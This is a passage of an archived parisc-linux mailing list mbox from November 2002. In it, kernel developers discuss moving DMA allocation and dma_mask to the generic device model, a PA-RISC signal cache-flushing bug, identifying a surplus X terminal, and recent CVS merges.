Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from TYO201.gate.nec.co.jp (TYO201.gate.nec.co.jp [210.143.35.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id E0DC24829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 13 Nov 2002 01:27:09 -0700 (MST)
Original-Received: from mailgate4.nec.co.jp ([10.7.69.197])
	by TYO201.gate.nec.co.jp (8.11.6/3.7W01080315) with ESMTP id gAD8Qil13651;
	Wed, 13 Nov 2002 17:26:44 +0900 (JST)
Original-Received: from mailsv.nec.co.jp (mailgate51.nec.co.jp [10.7.69.196]) by mailgate4.nec.co.jp (8.11.6/3.7W-MAILGATE-NEC) with ESMTP
	id gAD8Qh414177; Wed, 13 Nov 2002 17:26:43 +0900 (JST)
Original-Received: from mcsss2.ucom.lsi.nec.co.jp ([10.30.114.133]) by mailsv.nec.co.jp (8.11.6/3.7W-MAILSV-NEC) with ESMTP
	id gAD8QZd20240; Wed, 13 Nov 2002 17:26:37 +0900 (JST)
Original-Received: from mcspd15.ucom.lsi.nec.co.jp (mcspd15 [10.30.114.174])
	by mcsss2.ucom.lsi.nec.co.jp (8.10.2+Sun/3.7Wlsi_mx_6.0) with ESMTP id gAD8QYB24849;
	Wed, 13 Nov 2002 17:26:34 +0900 (JST)
Original-Received: by mcspd15.ucom.lsi.nec.co.jp (Postfix, from userid 31295)
	id 2E2A23814; Wed, 13 Nov 2002 17:26:34 +0900 (JST)
System-Type: i686-pc-linux-gnu
Blat: Foop
In-Reply-To: <20021113081008.GC2106@kroah.com>
Original-Lines: 18
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16767

Greg KH <greg@kroah.com> writes:
> > I can't speak for `real machines,' but on my wierd embedded board,
> > pci_alloc_consistent allocates from a special area of memory (not
> > located at 0) that is the only shared memory between PCI devices and the
> > CPU.  pci_alloc_consistent happens to fit this situation quite well, but
> > I don't think a bitmask is enough to express the situation.
> 
> What does your pci_alloc_consistent() function need from the pci_dev
> structure in order to do what you need it to do?  Anything other than
> the dma_mask value?

Currently, it ignores the pci_dev argument entirely (I've never had a
device that needed the mask, so I haven't bothered with it).  It just
allocates a block from the special memory region and returns the result.

-Miles
-- 
$B<+$i$r6u$K$7$F!"?4$r3+$/;~!"F;$O3+$+$l$k(B


From - Thu Nov 08 21:25:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Greg KH <greg@kroah.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Untested port of parisc_device to generic device interface
Date: Wed, 13 Nov 2002 00:25:10 -0800
Lines: 23
Approved: news@gmane.org
Message-ID: <20021113082510.GA3064__4517.66503179005$1416621918$gmane$org@kroah.com>
References: <20021109060342.GA7798@kroah.com> <200211091533.gA9FXuW02017@localhost.localdomain> <20021113061310.GD2106@kroah.com> <buon0odsyh9.fsf@mcspd15.ucom.lsi.nec.co.jp> <20021113075223.GZ2106@kroah.com> <buoisz1sxr4.fsf@mcspd15.ucom.lsi.nec.co.jp> <20021113081008.GC2106@kroah.com> <buoadkdswn9.fsf@mcspd15.ucom.lsi.nec.co.jp>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621918 16844 80.91.229.3 (22 Nov 2014 02:05:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:18 +0000 (UTC)
Cc: "J.E.J. Bottomley" <James.Bottomley@steeleye.com>,
	Matthew Wilcox <willy@debian.org>,
	"Adam J. Richter" <adam@yggdrasil.com>, andmike@us.ibm.com,
	hch@lst.de, linux-kernel@vger.kernel.org, mochel@osdl.org,
	parisc-linux@lists.parisc-linux.org
To: Miles Bader <miles@gnu.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 13 01:30:33 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from kroah.com (12-231-249-244.client.attbi.com [12.231.249.244])
	by dsl2.external.hp.com (Postfix) with SMTP id 07ADE4829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 13 Nov 2002 01:30:33 -0700 (MST)
Original-Received: (qmail 3068 invoked by uid 500); 13 Nov 2002 08:25:11 -0000
Content-Disposition: inline
In-Reply-To: <buoadkdswn9.fsf@mcspd15.ucom.lsi.nec.co.jp>
User-Agent: Mutt/1.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16768

On Wed, Nov 13, 2002 at 05:26:34PM +0900, Miles Bader wrote:
> Greg KH <greg@kroah.com> writes:
> > > I can't speak for `real machines,' but on my wierd embedded board,
> > > pci_alloc_consistent allocates from a special area of memory (not
> > > located at 0) that is the only shared memory between PCI devices and the
> > > CPU.  pci_alloc_consistent happens to fit this situation quite well, but
> > > I don't think a bitmask is enough to express the situation.
> > 
> > What does your pci_alloc_consistent() function need from the pci_dev
> > structure in order to do what you need it to do?  Anything other than
> > the dma_mask value?
> 
> Currently, it ignores the pci_dev argument entirely (I've never had a
> device that needed the mask, so I haven't bothered with it).  It just
> allocates a block from the special memory region and returns the result.

So merely renaming that function to dev_alloc_consistent(), changing the
first paramater to be a struct device, and proving a macro for all of
the pci drivers for the old pci_alloc_consistent() name would work just
fine for you?

greg k-h


From - Thu Nov 08 21:25:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Miles Bader <miles@lsi.nec.co.jp>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Untested port of parisc_device to generic device interface
Date: 13 Nov 2002 18:05:26 +0900
Lines: 24
Approved: news@gmane.org
Message-ID: <buo65v1suuh.fsf__37340.6478939161$1416621918$gmane$org@mcspd15.ucom.lsi.nec.co.jp>
References: <20021109060342.GA7798@kroah.com>
	<200211091533.gA9FXuW02017@localhost.localdomain>
	<20021113061310.GD2106@kroah.com>
	<buon0odsyh9.fsf@mcspd15.ucom.lsi.nec.co.jp>
	<20021113075223.GZ2106@kroah.com>
	<buoisz1sxr4.fsf@mcspd15.ucom.lsi.nec.co.jp>
	<20021113081008.GC2106@kroah.com>
	<buoadkdswn9.fsf@mcspd15.ucom.lsi.nec.co.jp>
	<20021113082510.GA3064@kroah.com>
Reply-To: Miles Bader <miles@gnu.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621918 16845 80.91.229.3 (22 Nov 2014 02:05:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:18 +0000 (UTC)
Cc: "J.E.J. Bottomley" <James.Bottomley@steeleye.com>,
	Matthew Wilcox <willy@debian.org>,
	"Adam J. Richter" <adam@yggdrasil.com>, andmike@us.ibm.com,
	hch@lst.de, linux-kernel@vger.kernel.org, mochel@osdl.org,
	parisc-linux@lists.parisc-linux.org
To: Greg KH <greg@kroah.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 13 02:05:56 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from TYO202.gate.nec.co.jp (TYO202.gate.nec.co.jp [210.143.35.52])
	by dsl2.external.hp.com (Postfix) with ESMTP id 077994829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 13 Nov 2002 02:05:56 -0700 (MST)
Original-Received: from mailgate4.nec.co.jp ([10.7.69.195])
	by TYO202.gate.nec.co.jp (8.11.6/3.7W01080315) with ESMTP id gAD95Xl24324;
	Wed, 13 Nov 2002 18:05:33 +0900 (JST)
Original-Received: from mailsv4.nec.co.jp (mailgate51.nec.co.jp [10.7.69.196]) by mailgate4.nec.co.jp (8.11.6/3.7W-MAILGATE-NEC) with ESMTP
	id gAD95WD02691; Wed, 13 Nov 2002 18:05:32 +0900 (JST)
Original-Received: from mcsss2.ucom.lsi.nec.co.jp ([10.30.114.133]) by mailsv4.nec.co.jp (8.11.6/3.7W-MAILSV4-NEC) with ESMTP
	id gAD95U208196; Wed, 13 Nov 2002 18:05:30 +0900 (JST)
Original-Received: from mcspd15.ucom.lsi.nec.co.jp (mcspd15 [10.30.114.174])
	by mcsss2.ucom.lsi.nec.co.jp (8.10.2+Sun/3.7Wlsi_mx_6.0) with ESMTP id gAD95QB24896;
	Wed, 13 Nov 2002 18:05:26 +0900 (JST)
Original-Received: by mcspd15.ucom.lsi.nec.co.jp (Postfix, from userid 31295)
	id 6991B3814; Wed, 13 Nov 2002 18:05:26 +0900 (JST)
System-Type: i686-pc-linux-gnu
Blat: Foop
In-Reply-To: <20021113082510.GA3064@kroah.com>
Original-Lines: 23
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16769

Greg KH <greg@kroah.com> writes:
> > Currently, it ignores the pci_dev argument entirely (I've never had a
> > device that needed the mask, so I haven't bothered with it).  It just
> > allocates a block from the special memory region and returns the result.
> 
> So merely renaming that function to dev_alloc_consistent(), changing the
> first paramater to be a struct device, and proving a macro for all of
> the pci drivers for the old pci_alloc_consistent() name would work just
> fine for you?

Except that this function doesn't make any sense except for PCI devices.

I don't know whether there will ever be any devices that (1) call
`dev_alloc_consistent', (2) aren't PCI devices, and (3) would stand a
chance of ever working on this platform -- probably not.

Never-the-less, it provides (a non-artificial) example of a case where
it's wrong to assume that all busses are the same, and I think that
merits some attention.

-Miles
-- 
97% of everything is grunge


From - Thu Nov 08 21:25:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jan-Benedict Glaw <jbglaw@lug-owl.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] What did I find
Date: Wed, 13 Nov 2002 12:13:28 +0100
Lines: 42
Approved: news@gmane.org
Message-ID: <20021113111328.GB1525@lug-owl.de>
References: <3d.277be522.2b02f338@aol.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="rS8CxjVDS/+yyDmU"
X-Trace: ger.gmane.org 1416621918 16846 80.91.229.3 (22 Nov 2014 02:05:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:18 +0000 (UTC)
Cc: Longjos@aol.com
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 13 04:13:35 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dvmwest.gt.owl.de (dvmwest.gt.owl.de [62.52.24.140])
	by dsl2.external.hp.com (Postfix) with ESMTP id BBA0C4829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 13 Nov 2002 04:13:34 -0700 (MST)
Original-Received: by dvmwest.gt.owl.de (Postfix, from userid 1001)
	id DFAE613614; Wed, 13 Nov 2002 12:13:28 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <3d.277be522.2b02f338@aol.com>
User-Agent: Mutt/1.4i
X-Operating-System: Linux mail 2.4.18 
x-gpg-fingerprint: 250D 3BCF 7127 0D8C A444  A961 1DBD 5E75 8399 E1BB
x-gpg-key: wwwkeys.de.pgp.net
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16770

--rS8CxjVDS/+yyDmU
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Tue, 2002-11-12 19:13:44 -0500, Longjos@aol.com <Longjos@aol.com>
wrote in message <3d.277be522.2b02f338@aol.com>:
> Perhaps you can help me identify this box that I found at a surplus aucti=
on.
> It says on it:
> Visual Technology Model: TX100M
> When powered up it says it is an X terminal, but it has no X Server=20
> installed. It has to boot from Tftp, or the sort.=20

Referring to
http://www2.computerwoche.de/heftarchiv/1992/19920207/a102767.html (it's
in German, sorry...), this box uses a M68k CPU. After switching it on,
what can you sniff off the network? I think you'll only need to give it
an IP address and its X host, possibly also a firmware image.

MfG, JBG

--=20
   Jan-Benedict Glaw       jbglaw@lug-owl.de    . +49-172-7608481
   "Eine Freie Meinung in  einem Freien Kopf    | Gegen Zensur
    fuer einen Freien Staat voll Freier B=FCrger" | im Internet!
   Shell Script APT-Proxy: http://lug-owl.de/~jbglaw/software/ap2/

--rS8CxjVDS/+yyDmU
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.0 (GNU/Linux)

iD8DBQE90jPYHb1edYOZ4bsRAmPUAJ9XaRA3QAoY+t20pDmIauInl5jStQCbB+A3
sThy2QE2riC4UVpErfniBFc=
=aA+m
-----END PGP SIGNATURE-----

--rS8CxjVDS/+yyDmU--


From - Thu Nov 08 21:25:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ivan Kokshaysky <ink@jurassic.park.msu.ru>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Untested port of parisc_device to generic device interface
Date: Wed, 13 Nov 2002 14:59:02 +0300
Lines: 27
Approved: news@gmane.org
Message-ID: <20021113145902.A1245__13560.5632015087$1416621919$gmane$org@jurassic.park.msu.ru>
References: <20021109060342.GA7798@kroah.com> <200211091533.gA9FXuW02017@localhost.localdomain> <20021113061310.GD2106@kroah.com> <buon0odsyh9.fsf@mcspd15.ucom.lsi.nec.co.jp> <20021113075223.GZ2106@kroah.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621919 16848 80.91.229.3 (22 Nov 2014 02:05:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:19 +0000 (UTC)
Cc: Miles Bader <miles@gnu.org>,
	"J.E.J. Bottomley" <James.Bottomley@steeleye.com>,
	Matthew Wilcox <willy@debian.org>,
	"Adam J. Richter" <adam@yggdrasil.com>, andmike@us.ibm.com,
	hch@lst.de, linux-kernel@vger.kernel.org, mochel@osdl.org,
	parisc-linux@lists.parisc-linux.org
To: Greg KH <greg@kroah.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 13 05:00:36 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from jurassic.park.msu.ru (jurassic.park.msu.ru [195.208.223.243])
	by dsl2.external.hp.com (Postfix) with ESMTP id C3BA34829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 13 Nov 2002 05:00:33 -0700 (MST)
Original-Received: (from ink@localhost)
	by jurassic.park.msu.ru (8.11.6/8.11.6) id gADBx3f01445;
	Wed, 13 Nov 2002 14:59:03 +0300
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20021113075223.GZ2106@kroah.com>; from greg@kroah.com on Tue, Nov 12, 2002 at 11:52:23PM -0800
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16771

On Tue, Nov 12, 2002 at 11:52:23PM -0800, Greg KH wrote:
> On Wed, Nov 13, 2002 at 04:46:58PM +0900, Miles Bader wrote:
> > This this would end up [or have the ability to] invoking a bus-specific
> > routine at some point, right?  [so that a truly PCI-specific definition
> > could be still be had]
> 
> If that was needed, yes, we should not break that functionality.
> 
> Are there any existing archs that need more than just dma_mask moved to
> struct device out of pci_dev?  Hm, ppc might need a bit more...

Add alpha, parisc, sparc and so on. ;-)

pci_dev->sysdata needs to be moved as well, but not only.
It seems that two things are fundamentally missing in generic
device model:
1. clean way to detect the type of container structure from arbitrary
   struct device *;
2. parent/child relationship between devices of different bus types.

Example (not exactly real life, but close enough):
to do DMA mapping properly for, say, some legacy device, I need to know
that it's sitting behind ISA-to-PCI bridge X belonging in PCI domain Y of
the root-level IO controller Z.

Ivan.


From - Thu Nov 08 21:25:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Broken Cache Flushing in arch/parisc/kernel/signal.c.??
Date: Wed, 13 Nov 2002 12:28:08 +0000
Lines: 16
Approved: news@gmane.org
Message-ID: <20021113122808.E30392@parcelfarce.linux.theplanet.co.uk>
References: <1037173492.9031.7.camel@beavis> <20021113075234.GF8261@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621919 16850 80.91.229.3 (22 Nov 2014 02:05:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:19 +0000 (UTC)
Cc: Ryan Bradetich <rbradetich@uswest.net>,
	parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 13 05:28:14 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id A1E714829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 13 Nov 2002 05:28:13 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 18Bwcq-0003qj-00; Wed, 13 Nov 2002 12:28:08 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20021113075234.GF8261@tausq.org>; from randolph@tausq.org on Tue, Nov 12, 2002 at 11:52:34PM -0800
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16772

On Tue, Nov 12, 2002 at 11:52:34PM -0800, Randolph Chung wrote:
> this is partly my fault, since i thought we have unbroken cache flushing
> and asked thibaut to check this in... now i see that the original code
> flushes sr3 space, but flush_icache_range() flushes the kernel space...
> oops!
> 
> perhaps we should just check the old code back in for now?

Can we use
  void flush_icache_user_range(struct vm_area_struct *vma,
                        struct page *page, unsigned long addr, int len)
?  I'm not sure where we'd get the struct page from, though.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:25:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Recent CVS changes?
Date: Wed, 13 Nov 2002 14:19:10 +0100
Lines: 12
Approved: news@gmane.org
Message-ID: <20021113131910.GE21811@charite.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621919 16855 80.91.229.3 (22 Nov 2014 02:05:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:19 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 13 06:19:16 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hauptpostamt.charite.de (hauptpostamt.charite.de [193.175.66.220])
	by dsl2.external.hp.com (Postfix) with ESMTP id BAABD4829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 13 Nov 2002 06:19:15 -0700 (MST)
Original-Received: from postamt1.charite.de (postamt1.charite.de [193.175.66.246])
	by hauptpostamt.charite.de (Postfix) with ESMTP id E489515C00D
	for <parisc-linux@lists.parisc-linux.org>; Wed, 13 Nov 2002 14:19:10 +0100 (CET)
Original-Received: by postamt1.charite.de (Postfix, from userid 7945)
	id D2784633B3; Wed, 13 Nov 2002 14:19:10 +0100 (CET)
Content-Disposition: inline
User-Agent: Mutt/1.4i
X-Virus-Scanned: by AMaViS snapshot-20020531
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16773

Today I "cvs co"'ed the PARISC kernel and found lots of changes. Is
that a major version change (2.5.?)

-- 
Ralf Hildebrandt (Im Auftrag des Referat V a)   Ralf.Hildebrandt@charite.de
Charite Campus Mitte                            Tel.  +49 (0)30-450 570-155
Referat V a - Kommunikationsnetze -             Fax.  +49 (0)30-450 570-916
In 1968 it took the computing-Power of 2 C-64 to fly a rocket to the moon.
Now, 1997 it takes the Power of a Pentium 133 to run Microsoft Windows 95.
                  Something must have gone wrong.



From - Thu Nov 08 21:25:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Recent CVS changes?
Date: Wed, 13 Nov 2002 13:24:54 +0000
Lines: 10
Approved: news@gmane.org
Message-ID: <20021113132454.F30392@parcelfarce.linux.theplanet.co.uk>
References: <20021113131910.GE21811@charite.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621920 16858 80.91.229.3 (22 Nov 2014 02:05:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:20 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 13 06:25:01 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id E7DAA4829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 13 Nov 2002 06:24:58 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 18BxVm-0004Wu-00; Wed, 13 Nov 2002 13:24:54 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20021113131910.GE21811@charite.de>; from Ralf.Hildebrandt@charite.de on Wed, Nov 13, 2002 at 02:19:10PM +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16774

On Wed, Nov 13, 2002 at 02:19:10PM +0100, Ralf Hildebrandt wrote:
> Today I "cvs co"'ed the PARISC kernel and found lots of changes. Is
> that a major version change (2.5.?)

probably has something to do with the 2.4.20-rc1 i imported last night.
merge in progress, going smoothly.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:25:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>
Newsgroups: gmane.linux.ports.parisc
